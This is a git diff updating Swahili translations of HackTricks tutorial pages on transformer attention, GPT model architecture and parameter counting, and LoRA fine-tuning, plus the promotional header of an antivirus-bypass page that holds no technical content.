Ili kuzuia dot products kuwa kubwa sana, ziongeze kwa mzizi wa mraba wa vipimo vya funguo `dk`:
Ili kuzuia dot products kuwa kubwa sana, ziongeze kwa mzizi wa mraba wa kipimo cha funguo `dk`:
<figure><img src="../../.gitbook/assets/image (13).png" alt="" width="295"><figcaption></figcaption></figure>
{% hint style="success" %}
Alama inagawanywa kwa mzizi wa mraba wa vipimo kwa sababu dot products zinaweza kuwa kubwa sana na hii husaidia kudhibiti.
Alama inagawanywa kwa mzizi wa mraba wa vipimo kwa sababu dot products zinaweza kuwa kubwa sana na hii inasaidia kudhibiti.
{% endhint %}
**Apply Softmax to Obtain Attention Weights:** Kama katika mfano wa awali, sanifisha thamani zote ili zijumuishe 1.&#x20;
@ -238,7 +238,7 @@ Ili kutekeleza causal attention, tunatumia mask kwa alama za attention **kabla y
**Hatua**
1. **Hesabu Alama za Attention**: Kama ilivyokuwa awali.
1. **Hesabu Alama za Attention**: Kama ilivyokuwa hapo awali.
2. **Tumia Mask**: Tumia matrix ya juu ya pembeni iliyojaa negative infinity juu ya diagonal.
```python
@ -251,7 +251,7 @@ masked_scores = attention_scores + mask
attention_weights = torch.softmax(masked_scores, dim=-1)
```
### Kuficha Uzito wa Ziada wa Attention kwa kutumia Dropout
### Kuficha Uzito wa Ziada wa Attention kwa Kutumia Dropout
Ili **kuzuia overfitting**, tunaweza kutumia **dropout** kwa uzito wa attention baada ya operesheni ya softmax. Dropout **hufanya sifuri kwa nasibu baadhi ya uzito wa attention** wakati wa mafunzo.
```python
@ -324,13 +324,13 @@ context_vecs = ca(batch)
print(context_vecs)
print("context_vecs.shape:", context_vecs.shape)
```
## Kuongeza Umakini wa Kichwa Kimoja hadi Umakini wa Vichwa Vingi
## Kupanua Umakini wa Kichwa Kimoja hadi Umakini wa Vichwa Vingi
**Umakini wa vichwa vingi** kwa maneno ya vitendo unajumuisha kutekeleza **matukio mengi** ya kazi ya umakini wa ndani kila moja ikiwa na **uzito wake mwenyewe** ili vektori tofauti za mwisho zihesabiwe.
### Mfano wa Kanuni
Inawezekana kurudia kanuni ya awali na kuongeza tu kifuniko kinachokifanya kifanyike mara kadhaa, lakini hii ni toleo lililoimarishwa zaidi kutoka [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb) inayoshughulikia vichwa vyote kwa wakati mmoja (ikiweka chini idadi ya mizunguko ya gharama kubwa). Kama unavyoona katika kanuni, vipimo vya kila token vinagawanywa katika vipimo tofauti kulingana na idadi ya vichwa. Kwa njia hii, ikiwa token ina vipimo 8 na tunataka kutumia vichwa 3, vipimo vitagawanywa katika arrays 2 za vipimo 4 na kila kichwa kitatumia moja yao:
Inaweza kuwa inawezekana kutumia tena kanuni ya awali na kuongeza tu kifuniko kinachokifanya kiendeshe mara kadhaa, lakini hii ni toleo lililoimarishwa zaidi kutoka [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb) ambayo inashughulikia vichwa vyote kwa wakati mmoja (ikiwapunguza idadi ya mizunguko ya gharama kubwa). Kama unavyoona katika kanuni, vipimo vya kila token vinagawanywa katika vipimo tofauti kulingana na idadi ya vichwa. Kwa njia hii, ikiwa token ina vipimo 8 na tunataka kutumia vichwa 3, vipimo vitagawanywa katika arrays 2 za vipimo 4 na kila kichwa kitatumia moja yao:
```python
class MultiHeadAttention(nn.Module):
def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False):
@ -410,9 +410,9 @@ print("context_vecs.shape:", context_vecs.shape)
Kwa utekelezaji mwingine wa kompakt na mzuri unaweza kutumia [`torch.nn.MultiheadAttention`](https://pytorch.org/docs/stable/generated/torch.nn.MultiheadAttention.html) darasa katika PyTorch.
{% hint style="success" %}
Jibu fupi la ChatGPT kuhusu kwa nini ni bora kugawanya vipimo vya tokens kati ya vichwa badala ya kuwa na kila kichwa kikichunguza vipimo vyote vya tokens zote:
Jibu fupi la ChatGPT kuhusu kwa nini ni bora kugawanya vipimo vya tokens kati ya vichwa badala ya kuwa na kila kichwa kinachunguza vipimo vyote vya tokens zote:
Ingawa kuruhusu kila kichwa kushughulikia vipimo vyote vya embedding kunaweza kuonekana kuwa na faida kwa sababu kila kichwa kitakuwa na ufikiaji wa taarifa kamili, mazoea ya kawaida ni **kugawanya vipimo vya embedding kati ya vichwa**. Njia hii inalinganisha ufanisi wa kompyuta na utendaji wa mfano na inahimiza kila kichwa kujifunza uwakilishi tofauti. Hivyo, kugawanya vipimo vya embedding kwa ujumla kunapewa kipaumbele kuliko kuwa na kila kichwa kikichunguza vipimo vyote.
Ingawa kuruhusu kila kichwa kushughulikia vipimo vyote vya embedding kunaweza kuonekana kuwa na faida kwa sababu kila kichwa kitakuwa na ufikiaji wa taarifa kamili, mazoea ya kawaida ni **kugawanya vipimo vya embedding kati ya vichwa**. Njia hii inalinganisha ufanisi wa kompyuta na utendaji wa mfano na inahimiza kila kichwa kujifunza uwakilishi tofauti. Hivyo, kugawanya vipimo vya embedding kwa ujumla kunapendekezwa kuliko kuwa na kila kichwa kinachunguza vipimo vyote.
{% endhint %}
## Marejeo

View file

@ -12,17 +12,17 @@ Mfano wa usanifu wa LLM kutoka [https://github.com/rasbt/LLMs-from-scratch/blob/
Mwakilishi wa kiwango cha juu unaweza kuonekana katika:
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt="" width="563"><figcaption><p><a href="https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31">https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt="" width="563"><figcaption><p><a href="https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31">https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31</a></p></figcaption></figure>
1. **Input (Maandishi yaliyotolewa)**: Mchakato huanza na maandiko yaliyotolewa, ambayo yanabadilishwa kuwa uwakilishi wa nambari.
2. **Tabaka la Token Embedding na Positional Embedding**: Maandishi yaliyotolewa yanapita kupitia **tabaka la token embedding** na **tabaka la positional embedding**, ambayo yanakamata nafasi ya token katika mfuatano, muhimu kwa kuelewa mpangilio wa maneno.
3. **Blocks za Transformer**: Mfano una **blocks 12 za transformer**, kila moja ikiwa na tabaka nyingi. Blocks hizi hurudia mfuatano ufuatao:
1. **Input (Tokenized Text)**: Mchakato huanza na maandiko yaliyotolewa token, ambayo yanabadilishwa kuwa uwakilishi wa nambari.
2. **Token Embedding and Positional Embedding Layer**: Maandiko yaliyotolewa token yanapita kupitia **tabaka la token embedding** na **tabaka la positional embedding**, ambayo yanakamata nafasi ya tokens katika mfuatano, muhimu kwa kuelewa mpangilio wa maneno.
3. **Transformer Blocks**: Mfano una **blocks 12 za transformer**, kila moja ikiwa na tabaka nyingi. Blocks hizi hurudia mfuatano ufuatao:
* **Masked Multi-Head Attention**: Inaruhusu mfano kuzingatia sehemu tofauti za maandiko ya ingizo kwa wakati mmoja.
* **Layer Normalization**: Hatua ya kawaida ili kuimarisha na kuboresha mafunzo.
* **Feed Forward Layer**: Inawajibika kwa kuchakata habari kutoka kwa tabaka la umakini na kufanya utabiri kuhusu token inayofuata.
* **Dropout Layers**: Tabaka hizi zinazuia overfitting kwa kuacha vitengo kwa bahati nasibu wakati wa mafunzo.
4. **Tabaka la Matokeo ya Mwisho**: Mfano unatoa **tensor ya 4x50,257-dimensional**, ambapo **50,257** inawakilisha ukubwa wa msamiati. Kila safu katika tensor hii inahusiana na vector ambayo mfano hutumia kutabiri neno linalofuata katika mfuatano.
5. **Lengo**: Lengo ni kuchukua embeddings hizi na kuzibadilisha tena kuwa maandiko. Kwa haswa, safu ya mwisho ya matokeo inatumika kuzalisha neno linalofuata, linalowakilishwa kama "forward" katika mchoro huu.
4. **Final Output Layer**: Mfano unatoa **tensor ya 4x50,257-dimensional**, ambapo **50,257** inawakilisha ukubwa wa msamiati. Kila safu katika tensor hii inahusiana na vector ambayo mfano hutumia kutabiri neno linalofuata katika mfuatano.
5. **Goal**: Lengo ni kuchukua embeddings hizi na kuzibadilisha tena kuwa maandiko. Kwa hakika, safu ya mwisho ya pato inatumika kuzalisha neno linalofuata, inawakilishwa kama "forward" katika mchoro huu.
### Code representation
```python
@ -215,7 +215,7 @@ torch.sqrt(torch.tensor(2.0 / torch.pi)) *
* **Kuamsha Kunyumbulika:** Tofauti na ReLU, ambayo inafanya kuwa sifuri kwa pembejeo hasi, GELU inachora kwa laini pembejeo hadi matokeo, ikiruhusu thamani ndogo, zisizo sifuri kwa pembejeo hasi.
* **Mwelekeo wa Kihesabu:**
<figure><img src="../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
{% hint style="info" %}
Lengo la matumizi ya kazi hii baada ya tabaka za mstari ndani ya tabaka la FeedForward ni kubadilisha data ya mstari kuwa isiyo ya mstari ili kuruhusu mfano kujifunza uhusiano tata, usio wa mstari.
@ -223,7 +223,7 @@ Lengo la matumizi ya kazi hii baada ya tabaka za mstari ndani ya tabaka la FeedF
### **Mtandao wa Neva wa FeedForward**
_Mifano imeongezwa kama maoni ili kuelewa vyema mifano ya matrices:_
_Mifano imeongezwa kama maoni ili kuelewa vyema mifano ya matrix:_
```python
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
class FeedForward(nn.Module):
@ -245,7 +245,7 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
```
#### **Madhumuni na Ufanisi**
* **Mtandao wa FeedForward Kulingana na Nafasi:** Inatumia mtandao wa viwango viwili vilivyounganishwa kikamilifu kwa kila nafasi tofauti na kwa njia sawa.
* **Mtandao wa Kila Nafasi wa FeedForward:** Inatumia mtandao wa viwango viwili uliounganishwa kikamilifu kwa kila nafasi tofauti na kwa njia sawa.
* **Maelezo ya Kiwango:**
* **Kiwango cha Kwanza cha Mstari:** Kinapanua ukubwa kutoka `emb_dim` hadi `4 * emb_dim`.
* **Kazi ya GELU:** Inatumia kutokuwa na mstari.
@ -261,20 +261,20 @@ Hii tayari imeelezwa katika sehemu ya awali.
#### **Madhumuni na Ufanisi**
* **Umakini wa Kujitenga wa Vichwa Vingi:** Inaruhusu mfano kuzingatia nafasi tofauti ndani ya mlolongo wa ingizo wakati wa kuandika token.
* **Umakini wa Kujitazama wa Vichwa Vingi:** Inaruhusu mfano kuzingatia nafasi tofauti ndani ya mfuatano wa ingizo wakati wa kuandika token.
* **Vipengele Muhimu:**
* **Maswali, Funguo, Thamani:** Mipango ya mstari ya ingizo, inayotumika kuhesabu alama za umakini.
* **Vichwa:** Mekanismu nyingi za umakini zinazoendesha kwa sambamba (`num_heads`), kila moja ikiwa na ukubwa mdogo (`head_dim`).
* **Alama za Umakini:** Zinahesabiwa kama bidhaa ya dot ya maswali na funguo, zimepimwa na kufichwa.
* **Kuficha:** Mask ya sababu inatumika kuzuia mfano kuzingatia token za baadaye (muhimu kwa mifano ya autoregressive kama GPT).
* **Uzito wa Umakini:** Softmax ya alama za umakini zilizofichwa na kupimwa.
* **Vector ya Muktadha:** Jumla ya uzito wa thamani, kulingana na uzito wa umakini.
* **Vector ya Muktadha:** Jumla yenye uzito ya thamani, kulingana na uzito wa umakini.
* **Mipango ya Matokeo:** Kiwango cha mstari cha kuunganisha matokeo ya vichwa vyote.
{% hint style="info" %}
Lengo la mtandao huu ni kupata uhusiano kati ya token katika muktadha sawa. Zaidi ya hayo, token zimegawanywa katika vichwa tofauti ili kuzuia overfitting ingawa uhusiano wa mwisho uliofanywa kwa kila kichwa unachanganywa mwishoni mwa mtandao huu.
Lengo la mtandao huu ni kupata uhusiano kati ya token katika muktadha sawa. Aidha, token zimegawanywa katika vichwa tofauti ili kuzuia overfitting ingawa uhusiano wa mwisho uliofanywa kwa kila kichwa unachanganywa mwishoni mwa mtandao huu.
Zaidi ya hayo, wakati wa mafunzo **mask ya sababu** inatumika ili token za baadaye zisichukuliwe katika akaunti wakati wa kutafuta uhusiano maalum kwa token na **dropout** pia inatumika ili **kuzuia overfitting**.
Zaidi ya hayo, wakati wa mafunzo **mask ya sababu** inatumika ili token za baadaye zisihesabiwe wakati wa kutafuta uhusiano maalum kwa token na **dropout** pia inatumika ili **kuzuia overfitting**.
{% endhint %}
### **Kiwango** Kurekebisha
@ -297,12 +297,12 @@ return self.scale * norm_x + self.shift
* **Layer Normalization:** Mbinu inayotumika kurekebisha ingizo kati ya vipengele (embedding dimensions) kwa kila mfano binafsi katika kundi.
* **Vipengele:**
* **`eps`:** Kiwango kidogo (`1e-5`) kinachoongezwa kwenye variance ili kuzuia kugawanya na sifuri wakati wa normalization.
* **`eps`:** Kiwango kidogo (`1e-5`) kinachoongezwa kwenye variance ili kuzuia kugawanya kwa sifuri wakati wa normalization.
* **`scale` na `shift`:** Vigezo vinavyoweza kujifunza (`nn.Parameter`) vinavyomruhusu modeli kupima na kuhamasisha matokeo yaliyorekebishwa. Vimeanzishwa kuwa moja na sifuri, mtawalia.
* **Mchakato wa Kurekebisha:**
* **Hesabu Mean (`mean`):** Hesabu mean ya ingizo `x` kati ya dimension ya embedding (`dim=-1`), ikihifadhi dimension kwa ajili ya broadcasting (`keepdim=True`).
* **Hesabu Variance (`var`):** Hesabu variance ya `x` kati ya dimension ya embedding, pia ikihifadhi dimension. Kigezo cha `unbiased=False` kinahakikisha kuwa variance inahesabiwa kwa kutumia mhesabu wa biased (kugawanya na `N` badala ya `N-1`), ambayo ni sahihi wakati wa kurekebisha juu ya vipengele badala ya sampuli.
* **Normalize (`norm_x`):** Inapunguza mean kutoka `x` na kugawanya na mzizi wa variance pamoja na `eps`.
* **Hesabu Variance (`var`):** Hesabu variance ya `x` kati ya dimension ya embedding, pia ikihifadhi dimension. Kigezo `unbiased=False` kinahakikisha kuwa variance inahesabiwa kwa kutumia mhesabu wa biased (kugawanya kwa `N` badala ya `N-1`), ambayo ni sahihi wakati wa kurekebisha juu ya vipengele badala ya sampuli.
* **Normalize (`norm_x`):** Inapunguza mean kutoka `x` na kugawanya kwa mzizi wa variance pamoja na `eps`.
* **Scale na Shift:** Inatumia vigezo vinavyoweza kujifunza `scale` na `shift` kwa matokeo yaliyorekebishwa.
{% hint style="info" %}
@ -377,12 +377,12 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
Block ya transformer inakusanya mitandao yote pamoja na kutumia **urekebishaji** na **dropouts** kuboresha utulivu wa mafunzo na matokeo.\
Kumbuka jinsi dropouts zinavyofanywa baada ya matumizi ya kila mtandao wakati urekebishaji unatumika kabla.
Zaidi ya hayo, inatumia mifupisho ambayo inajumuisha **kuongeza matokeo ya mtandao na ingizo lake**. Hii husaidia kuzuia tatizo la gradient inayopotea kwa kuhakikisha kuwa tabaka za mwanzo zinachangia "kiasi" kama zile za mwisho.
Zaidi ya hayo, inatumia mifupisho ambayo inajumuisha **kuongeza matokeo ya mtandao na ingizo lake**. Hii husaidia kuzuia tatizo la gradient inayopotea kwa kuhakikisha kuwa tabaka za mwanzo zinachangia "kiasi" sawa na zile za mwisho.
{% endhint %}
### **GPTModel**
_Mifano imeongezwa kama maelezo ili kuelewa vyema sura za matrices:_
_Umbo umeongezwa kama maelezo ili kuelewa vyema umbo la matrices:_
```python
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
class GPTModel(nn.Module):
@ -440,24 +440,24 @@ return logits # Output shape: (batch_size, seq_len, vocab_size)
#### **Madhumuni na Ufanisi**
* **Tabaka za Kuunganisha:**
* **Token Embeddings (`tok_emb`):** Hubadilisha viashiria vya token kuwa embeddings. Kama ukumbusho, hizi ni uzito zinazotolewa kwa kila kipimo cha kila token katika kamusi.
* **Token Embeddings (`tok_emb`):** Hubadilisha viashiria vya token kuwa embeddings. Kama ukumbusho, hizi ni uzito zinazotolewa kwa kila kipimo cha kila token katika msamiati.
* **Positional Embeddings (`pos_emb`):** Inaongeza taarifa za nafasi kwa embeddings ili kukamata mpangilio wa token. Kama ukumbusho, hizi ni uzito zinazotolewa kwa token kulingana na nafasi yake katika maandiko.
* **Dropout (`drop_emb`):** Inatumika kwa embeddings kwa ajili ya udhibiti.
* **Transformer Blocks (`trf_blocks`):** Safu ya `n_layers` transformer blocks ili kushughulikia embeddings.
* **Transformer Blocks (`trf_blocks`):** Mkusanyiko wa `n_layers` transformer blocks ili kushughulikia embeddings.
* **Normalisasi ya Mwisho (`final_norm`):** Normalisasi ya tabaka kabla ya tabaka la matokeo.
* **Tabaka la Matokeo (`out_head`):** Inatoa hali za mwisho zilizofichwa kwa ukubwa wa kamusi ili kutoa logits kwa ajili ya utabiri.
* **Tabaka la Matokeo (`out_head`):** Inatoa hali za siri za mwisho kwa ukubwa wa msamiati ili kutoa logits kwa ajili ya utabiri.
{% hint style="info" %}
Lengo la darasa hili ni kutumia mitandao mingine yote iliyotajwa ili **kutabiri token inayofuata katika mfuatano**, ambayo ni muhimu kwa kazi kama vile uzalishaji wa maandiko.
Kumbuka jinsi itakavy **tumia transformer blocks nyingi kadri zilivyoonyeshwa** na kwamba kila transformer block inatumia neti moja ya multi-head attestation, neti moja ya feed forward na normalizations kadhaa. Hivyo ikiwa transformer blocks 12 zinatumika, ongeza hii kwa 12.
Kumbuka jinsi itakavy **tumia blocks za transformer nyingi kama ilivyoonyeshwa** na kwamba kila block ya transformer inatumia mtandao mmoja wa multi-head attestation, mtandao mmoja wa feed forward na normalizations kadhaa. Hivyo, ikiwa blocks 12 za transformer zinatumika, ongeza hii kwa 12.
Zaidi ya hayo, tabaka la **normalisasi** linaongezwa **kabla** ya **matokeo** na tabaka la mwisho la laini linatumika mwishoni kupata matokeo yenye vipimo sahihi. Kumbuka jinsi kila vector ya mwisho ina ukubwa wa kamusi iliyotumika. Hii ni kwa sababu inajaribu kupata uwezekano kwa kila token inayowezekana ndani ya kamusi.
Zaidi ya hayo, tabaka la **normalisasi** linaongezwa **kabla** ya **matokeo** na tabaka la mwisho la lineari linawekwa mwishoni ili kupata matokeo yenye vipimo sahihi. Kumbuka jinsi kila vector ya mwisho ina ukubwa wa msamiati ulio tumika. Hii ni kwa sababu inajaribu kupata uwezekano kwa kila token inayowezekana ndani ya msamiati.
{% endhint %}
## Idadi ya Vigezo vya kufundisha
## Idadi ya Paramita za kufundisha
Baada ya muundo wa GPT kufafanuliwa, inawezekana kugundua idadi ya vigezo vya kufundisha:
Baada ya muundo wa GPT kufafanuliwa, inawezekana kugundua idadi ya paramita za kufundisha:
```python
GPT_CONFIG_124M = {
"vocab_size": 50257, # Vocabulary size
@ -476,7 +476,7 @@ print(f"Total number of parameters: {total_params:,}")
```
### **Hatua kwa Hatua Hesabu**
#### **1. Tabaka za Kuunganisha: Kuunganisha Tokeni & Kuunganisha Nafasi**
#### **1. Tabaka za Kuunganisha: Token Embedding & Position Embedding**
* **Tabaka:** `nn.Embedding(vocab_size, emb_dim)`
* **Vigezo:** `vocab_size * emb_dim`
@ -495,7 +495,7 @@ embedding_params = 38,597,376 + 786,432 = 39,383,808
```
#### **2. Transformer Blocks**
Kuna blocks 12 za transformer, hivyo tutahesabu vigezo vya block moja kisha kuzidisha kwa 12.
Kuna vizuizi 12 vya transformer, hivyo tutahesabu vigezo vya kizuizi kimoja kisha kuzidisha kwa 12.
**Parameters per Transformer Block**
@ -533,16 +533,16 @@ mha_params = 1,769,472 + 590,592 = 2,360,064
**b. FeedForward Network**
* **Components:**
* **First Linear Layer:** `nn.Linear(emb_dim, 4 * emb_dim)`
* **Second Linear Layer:** `nn.Linear(4 * emb_dim, emb_dim)`
* **Kiwango cha Kwanza:** `nn.Linear(emb_dim, 4 * emb_dim)`
* **Kiwango cha Pili:** `nn.Linear(4 * emb_dim, emb_dim)`
* **Calculations:**
* **First Linear Layer:**
* **Kiwango cha Kwanza:**
```python
ff_first_layer_params = (emb_dim * 4 * emb_dim) + (4 * emb_dim)
ff_first_layer_params = (768 * 3072) + 3072 = 2,359,296 + 3,072 = 2,362,368
```
* **Second Linear Layer:**
* **Kiwango cha Pili:**
```python
ff_second_layer_params = (4 * emb_dim * emb_dim) + emb_dim
@ -558,7 +558,7 @@ ff_params = 2,362,368 + 2,360,064 = 4,722,432
**c. Layer Normalizations**
* **Components:**
* Mifano miwili ya `LayerNorm` kwa block.
* Vitu viwili vya `LayerNorm` kwa kila kizuizi.
* Kila `LayerNorm` ina vigezo `2 * emb_dim` (kuyeyusha na kuhamasisha).
* **Calculations:**
@ -566,7 +566,7 @@ ff_params = 2,362,368 + 2,360,064 = 4,722,432
layer_norm_params_per_block = 2 * (2 * emb_dim) = 2 * 768 * 2 = 3,072
```
**d. Jumla ya Vigezo kwa Transformer Block**
**d. Jumla ya Vigezo kwa Kizuizi cha Transformer**
```python
pythonCopy codeparams_per_block = mha_params + ff_params + layer_norm_params_per_block
params_per_block = 2,360,064 + 4,722,432 + 3,072 = 7,085,568
@ -591,7 +591,7 @@ pythonCopy codefinal_layer_norm_params = 2 * 768 = 1,536
```python
pythonCopy codeoutput_projection_params = 768 * 50257 = 38,597,376
```
#### **4. Kuangazia Parameta Zote**
#### **4. Kuweka Pamoja Vigezo Vyote**
```python
pythonCopy codetotal_params = (
embedding_params +
@ -609,7 +609,7 @@ total_params = 163,009,536
```
## Generate Text
Kuwa na mfano unaotabiri token inayofuata kama ile ya awali, inahitajika tu kuchukua thamani za token za mwisho kutoka kwa matokeo (kama zitakuwa zile za token inayotabiriwa), ambayo itakuwa **thamani kwa kila kipengee katika msamiati** na kisha tumia kazi ya `softmax` kubadilisha vipimo kuwa uwezekano vinavyos suma 1 na kisha pata index ya kipengee kikubwa zaidi, ambacho kitakuwa index ya neno ndani ya msamiati.
Kuwa na mfano unaotabiri token inayofuata kama ile ya awali, inahitajika tu kuchukua thamani za token za mwisho kutoka kwa matokeo (kama zitakuwa zile za token inayotabiriwa), ambayo itakuwa **thamani kwa kila kipengee katika msamiati** na kisha tumia kazi ya `softmax` kuimarisha vipimo kuwa uwezekano vinavyos suma 1 na kisha pata index ya kipengee kikubwa zaidi, ambacho kitakuwa index ya neno ndani ya msamiati.
Code from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01\_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01\_main-chapter-code/ch04.ipynb):
```python

View file

@ -8,13 +8,13 @@ Matumizi ya **LoRA hupunguza sana hesabu** inayohitajika ili **kuboresha** mifan
LoRA inafanya iwezekane kuboresha **mifano mikubwa** kwa ufanisi kwa kubadilisha tu **sehemu ndogo** ya mfano. Inapunguza idadi ya vigezo unavyohitaji kufundisha, ikihifadhi **kumbukumbu** na **rasilimali za kompyuta**. Hii ni kwa sababu:
1. **Inapunguza Idadi ya Vigezo Vinavyoweza Kufundishwa**: Badala ya kuboresha matrix nzima ya uzito katika mfano, LoRA **inahesabu** matrix ya uzito kuwa matrices mbili ndogo (zinazoitwa **A** na **B**). Hii inafanya mafunzo kuwa **ya haraka** na inahitaji **kumbukumbu kidogo** kwa sababu vigezo vichache vinahitaji kuboreshwa.
1. Hii ni kwa sababu badala ya kuhesabu sasisho kamili la uzito wa safu (matrix), inakadiria kuwa ni bidhaa ya matrices 2 ndogo ikipunguza sasisho la kuhesabu:\
1. **Inapunguza Idadi ya Vigezo Vinavyoweza Kufundishwa**: Badala ya kuboresha matrix nzima ya uzito katika mfano, LoRA **inahesabu** matrix ya uzito kuwa matrices mbili ndogo (zinazoitwa **A** na **B**). Hii inafanya mafunzo kuwa **haraka** na inahitaji **kumbukumbu kidogo** kwa sababu vigezo vichache vinahitaji kuboreshwa.
1. Hii ni kwa sababu badala ya kuhesabu sasisho kamili la uzito wa safu (matrix), inakadiria kuwa ni bidhaa ya matrices 2 ndogo ikipunguza sasisho la kuhesabu:\
<figure><img src="../../.gitbook/assets/image (9).png" alt=""><figcaption></figcaption></figure>
2. **Inahifadhi Uzito wa Mfano wa Asili Bila Kubadilika**: LoRA inakuwezesha kuhifadhi uzito wa mfano wa asili kuwa sawa, na inasasisha tu **matrices ndogo mpya** (A na B). Hii ni muhimu kwa sababu inamaanisha kuwa maarifa ya asili ya mfano yanahifadhiwa, na unabadilisha tu kile kinachohitajika.
3. **Uboreshaji wa Kazi Maalum kwa Ufanisi**: Unapotaka kuadaptisha mfano kwa **kazi mpya**, unaweza tu kufundisha **matrices ndogo za LoRA** (A na B) huku ukiacha sehemu nyingine ya mfano kama ilivyo. Hii ni **ya ufanisi zaidi** kuliko kufundisha upya mfano mzima.
<figure><img src="../../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
2. **Inahifadhi Uzito wa Mfano wa Asili Usibadilishwe**: LoRA inakuwezesha kuhifadhi uzito wa mfano wa asili kuwa sawa, na inasasisha tu **matrices ndogo mpya** (A na B). Hii ni muhimu kwa sababu inamaanisha kuwa maarifa ya asili ya mfano yanahifadhiwa, na unabadilisha tu kile kinachohitajika.
3. **Uboreshaji wa Kazi Mahususi kwa Ufanisi**: Unapotaka kuadaptisha mfano kwa **kazi mpya**, unaweza tu kufundisha **matrices ndogo za LoRA** (A na B) huku ukiacha sehemu nyingine ya mfano kama ilivyo. Hii ni **ya ufanisi zaidi** kuliko kufundisha upya mfano mzima.
4. **Ufanisi wa Hifadhi**: Baada ya kuboresha, badala ya kuhifadhi **mfano mpya mzima** kwa kila kazi, unahitaji tu kuhifadhi **matrices za LoRA**, ambazo ni ndogo sana ikilinganishwa na mfano mzima. Hii inafanya iwe rahisi kuadaptisha mfano kwa kazi nyingi bila kutumia hifadhi nyingi.
Ili kutekeleza LoraLayers badala ya zile za Linear wakati wa uboreshaji, msimbo huu unapendekezwa hapa [https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01\_main-chapter-code/appendix-E.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01\_main-chapter-code/appendix-E.ipynb):
@ -56,6 +56,6 @@ else:
# Recursively apply the same function to child modules
replace_linear_with_lora(module, rank, alpha)
```
## Marejeo
## Marejeleo
* [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)

View file

@ -1,23 +1,23 @@
# Antivirus (AV) Bypass
{% hint style="success" %}
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Jifunze na fanya mazoezi ya AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
